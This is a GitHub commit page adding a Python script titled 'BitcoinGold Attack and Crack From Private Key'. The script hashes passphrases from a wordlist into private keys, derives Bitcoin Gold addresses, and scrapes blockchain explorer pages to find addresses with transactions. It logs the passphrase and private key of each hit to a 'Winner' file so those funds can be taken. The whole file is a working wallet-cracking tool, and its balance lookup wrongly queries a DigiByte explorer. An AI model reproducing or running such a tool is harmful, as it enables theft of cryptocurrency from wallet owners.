Skip to content

Commit 14c2872

Browse files
authored
BitcoinGold Attack and Crack From Private Key
BitcoinGold Attack and Crack From Private Key
1 parent ccfeb80 commit 14c2872

File tree

1 file changed

+208
-1
lines changed

1 file changed

+208
-1
lines changed

bitcoingold.py

+208-1
Original file line numberDiff line numberDiff line change
@@ -1 +1,208 @@
1-
[COMING_UP]
1+
2+
# ███╗ ███╗ ███╗███╗ ███╗██████╗ ██████╗ ███████╗ █████╗ ██████╗ ██████╗ ███╗ ███╗ ███╗ #
3+
# ██╔╝ ████╗ ████║████╗ ████║██╔══██╗██╔══██╗╚══███╔╝██╔══██╗ ██╔════╝██╔═══██╗████╗ ████║ ╚██║ #
4+
# ██║ ██╔████╔██║██╔████╔██║██║ ██║██████╔╝ ███╔╝ ███████║ ██║ ██║ ██║██╔████╔██║ ██║ #
5+
# ██║ ██║╚██╔╝██║██║╚██╔╝██║██║ ██║██╔══██╗ ███╔╝ ██╔══██║ ██║ ██║ ██║██║╚██╔╝██║ ██║ #
6+
# ███╗ ██║ ╚═╝ ██║██║ ╚═╝ ██║██████╔╝██║ ██║███████╗██║ ██║██╗╚██████╗╚██████╔╝██║ ╚═╝ ██║ ███║ #
7+
# ╚══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚══╝ #
8+
# Programmer Mmdrza.Com ~ Telegram Channel @mPython3 ~ ID Telegram @PyMmdrza ~ https://Mmdrza.Com #
9+
##########################################################################################################
10+
11+
12+
import codecs
13+
import hashlib
14+
import threading
15+
16+
import ecdsa
17+
import requests
18+
from hdwallet import HDWallet
19+
from hdwallet.symbols import BTG as SYMBOL
20+
from lxml import html
21+
from rich.console import Console
22+
from rich.panel import Panel
23+
24+
console = Console()
25+
console.clear()
26+
27+
filexname = input('\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n [*] INSERT HERE File Name <---------|Without type file .txt|:::::::: ')
28+
29+
mylist = []
30+
31+
filename = str(filexname + ".txt")
32+
with open(filename, newline='', encoding='utf-8') as f:
33+
for line in f:
34+
mylist.append(line.strip())
35+
36+
37+
class BrainWallet:
38+
39+
@staticmethod
40+
def generate_address_from_passphrase(passphrase):
41+
private_key = str(hashlib.sha256(
42+
passphrase.encode('utf-8')).hexdigest())
43+
address = BrainWallet.generate_address_from_private_key(private_key)
44+
return private_key, address
45+
46+
@staticmethod
47+
def generate_address_from_private_key(private_key):
48+
public_key = BrainWallet.__private_to_public(private_key)
49+
address = BrainWallet.__public_to_address(public_key)
50+
return address
51+
52+
@staticmethod
53+
def __private_to_public(private_key):
54+
private_key_bytes = codecs.decode(private_key, 'hex')
55+
key = ecdsa.SigningKey.from_string(
56+
private_key_bytes, curve=ecdsa.SECP256k1).verifying_key
57+
key_bytes = key.to_string()
58+
key_hex = codecs.encode(key_bytes, 'hex')
59+
bitcoin_byte = b'04'
60+
public_key = bitcoin_byte + key_hex
61+
return public_key
62+
63+
@staticmethod
64+
def __public_to_address(public_key):
65+
public_key_bytes = codecs.decode(public_key, 'hex')
66+
# Run SHA256 for the public key
67+
sha256_bpk = hashlib.sha256(public_key_bytes)
68+
sha256_bpk_digest = sha256_bpk.digest()
69+
ripemd160_bpk = hashlib.new('ripemd160')
70+
ripemd160_bpk.update(sha256_bpk_digest)
71+
ripemd160_bpk_digest = ripemd160_bpk.digest()
72+
ripemd160_bpk_hex = codecs.encode(ripemd160_bpk_digest, 'hex')
73+
network_byte = b'00'
74+
network_bitcoin_public_key = network_byte + ripemd160_bpk_hex
75+
network_bitcoin_public_key_bytes = codecs.decode(
76+
network_bitcoin_public_key, 'hex')
77+
sha256_nbpk = hashlib.sha256(network_bitcoin_public_key_bytes)
78+
sha256_nbpk_digest = sha256_nbpk.digest()
79+
sha256_2_nbpk = hashlib.sha256(sha256_nbpk_digest)
80+
sha256_2_nbpk_digest = sha256_2_nbpk.digest()
81+
sha256_2_hex = codecs.encode(sha256_2_nbpk_digest, 'hex')
82+
checksum = sha256_2_hex[:8]
83+
address_hex = (network_bitcoin_public_key + checksum).decode('utf-8')
84+
wallet = BrainWallet.base58(address_hex)
85+
return wallet
86+
87+
@staticmethod
88+
def base58(address_hex):
89+
alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
90+
b58_string = ''
91+
leading_zeros = len(address_hex) - len(address_hex.lstrip('0'))
92+
address_int = int(address_hex, 16)
93+
while address_int > 0:
94+
digit = address_int % 58
95+
digit_char = alphabet[digit]
96+
b58_string = digit_char + b58_string
97+
address_int //= 58
98+
ones = leading_zeros // 2
99+
for one in range(ones):
100+
b58_string = '1' + b58_string
101+
return b58_string
102+
103+
104+
def bald(addr):
105+
urlblock = "https://digibyte.atomicwallet.io/address/" + addr
106+
respone_block = requests.get(urlblock)
107+
byte_string = respone_block.content
108+
source_code = html.fromstring(byte_string)
109+
xpatch_txid = '//*[@id="wrap"]/div/div[2]/div[1]/table/tbody/tr[3]/td[2]'
110+
treetxid = source_code.xpath(xpatch_txid)
111+
xVol = str(treetxid[0].text_content())
112+
return xVol
113+
114+
115+
def txer(addr):
116+
urlblock = "https://bgold.atomicwallet.io/address/" + addr
117+
respone_block = requests.get(urlblock)
118+
byte_string = respone_block.content
119+
source_code = html.fromstring(byte_string)
120+
xpatch_txid = '/html/body/main/div/div[2]/div[1]/table/tbody/tr[4]/td[2]'
121+
treetxid = source_code.xpath(xpatch_txid)
122+
xVol = str(treetxid[0].text_content())
123+
return xVol
124+
125+
126+
def MmDrza():
127+
w = 0
128+
count = 0
129+
130+
for i in range(0, len(mylist)):
131+
count += 1
132+
passphrase = mylist[i]
133+
wallet = BrainWallet()
134+
private_key, address = wallet.generate_address_from_passphrase(passphrase)
135+
hdwallet: HDWallet = HDWallet(symbol=SYMBOL)
136+
hdwallet.from_private_key(private_key=private_key)
137+
addr = hdwallet.p2pkh_address()
138+
txid = txer(addr)
139+
140+
if int(txid) > 0:
141+
bal = bald(addr)
142+
fx = open(u"BitcoinGold_MWinner__" + str(filexname) + "_MMDRZA.txt", "a")
143+
fx.write('\nAddress Compressed : ' + addr + ' Bal&TX = ' + str(bal) + ' --- ' + str(txid))
144+
fx.write('\nPassphrase : ' + passphrase)
145+
fx.write('\nPrivate Key : ' + private_key)
146+
fx.write('\nBalance: ' + str(bal))
147+
fx.write('\n-------------- Programmer Mmdrza.Com ----------------------\n')
148+
fx.close()
149+
MmdrzaPanel = str(
150+
'[gold1 on grey15]Total Checked: ' + '[orange_red1]' + str(count) + '[/][gold1 on grey15] ' + ' Win:' + '[white]' + str(w) + '[/][gold1] BAL:[aquamarine1]' + str(bal) + '[/][gold1] ------ TXID:[/][white]' + str(txid) + '[/]\n[gold1 on grey15]Addr: ' + '[white] ' + str(addr) + '[gold1 on grey15] Passphrase: ' + '[orange_red1]' + str(passphrase) + '[/]\nPRIVATEKEY: [grey54]' + str(private_key) + '[/]')
151+
style = "gold1 on grey11"
152+
console.print(Panel(str(MmdrzaPanel), title="[white]Win Wallet [/]", subtitle="[green_yellow blink] Mmdrza.Com [/]", style="green"), style=style, justify="full")
153+
w += 1
154+
else:
155+
ad1 = str(addr)[0]
156+
ad2 = str(addr)[1]
157+
ad3 = str(addr)[2]
158+
ad4 = str(addr)[3]
159+
ad5 = str(addr)[4]
160+
ad6 = str(addr)[5]
161+
ad7 = str(addr)[6]
162+
ad8 = str(addr)[7]
163+
ad9 = str(addr)[8]
164+
ad10 = str(addr)[9]
165+
ad11 = str(addr)[10]
166+
ad12 = str(addr)[11]
167+
ad13 = str(addr)[12]
168+
ad14 = str(addr)[13]
169+
ad15 = str(addr)[14]
170+
ad16 = str(addr)[15]
171+
ad17 = str(addr)[16]
172+
ad18 = str(addr)[17]
173+
ad19 = str(addr)[18]
174+
ad20 = str(addr)[19]
175+
ad21 = str(addr)[20]
176+
ad22 = str(addr)[21]
177+
ad23 = str(addr)[22]
178+
ad24 = str(addr)[23]
179+
ad25 = str(addr)[24]
180+
ad26 = str(addr)[25]
181+
ad27 = str(addr)[26]
182+
ad28 = str(addr)[27]
183+
ad29 = str(addr)[28]
184+
ad30 = str(addr)[29]
185+
ad31 = str(addr)[30]
186+
ad32 = str(addr)[31]
187+
ad33 = str(addr)[32]
188+
ad34 = str(addr)[33]
189+
190+
mmdrza_addr = str('[red1]' + str(ad1) + '[bright_red]' + str(ad2) + '[red3]' + str(ad3) + '[red3]' + str(ad4) + '[orange3]' + str(ad5) + '[gold3]' + str(ad6) + '[gold3]' + str(ad7) + '[yellow2]' + str(ad8) + '[yellow2]' + str(ad9) + '[yellow1]' + str(ad10) + '[khaki1]' + str(ad11) + '[wheat1]' + str(ad12) + '[cornsilk1]' + str(ad13) + '[grey100]' + str(ad14) + '[grey100]' + str(ad15) + '[grey100]' + str(ad16) + '[cornsilk1]' + str(ad17) + '[wheat1]' + str(ad18) + '[khaki1]' + str(ad19) + '[light_goldenrod1]' + str(ad20) + '[gold1]' + str(ad21) + '[gold1]' + str(ad22) + '[gold1]' + str(ad23) + '[yellow3]' + str(
191+
ad24) + '[yellow2]' + str(ad25) + '[yellow1]' + str(ad26) + '[light_goldenrod1]' + str(ad27) + '[khaki1]' + str(ad28) + '[wheat1]' + str(ad29) + '[cornsilk1]' + str(ad30) + '[grey100]' + str(ad31) + '[cornsilk1]' + str(ad32) + '[wheat1]' + str(ad33) + '[khaki1]' + str(ad34) + '[/]')
192+
193+
console.print('[gold1]Total:[white]' + str(count) + '[/][gold1] -- Win:[white]' + str(w) + '[/][b magenta2] BTG [red1] ADDR[/]= ' + str(mmdrza_addr) + ' [khaki1] --[wheat1]-[cornsilk1]-[cornsilk1]-[wheat1]-[wheat1]-[khaki1]-[light_goldenrod1] T[yellow1]X[yellow1]T[yellow2]O[yellow3]T[gold1]AL: [white]' + str(txid) + '[/][yellow] Passphrase:[green]' + str(passphrase) + '[/]')
194+
195+
196+
thr = threading.Thread(target=MmDrza)
197+
thr.start()
198+
thr.join()
199+
200+
201+
202+
# =====================================================
203+
# DONATE (BTC) : 16p9y6EstGYcnofGNvUJMEGKiAWhAr1uR8
204+
# Website : Mmdrza.Com
205+
206+
# Dev.to/Mmdrza
207+
# Github.com/Pymmdrza
208+
# =====================================================

0 commit comments

Comments
 (0)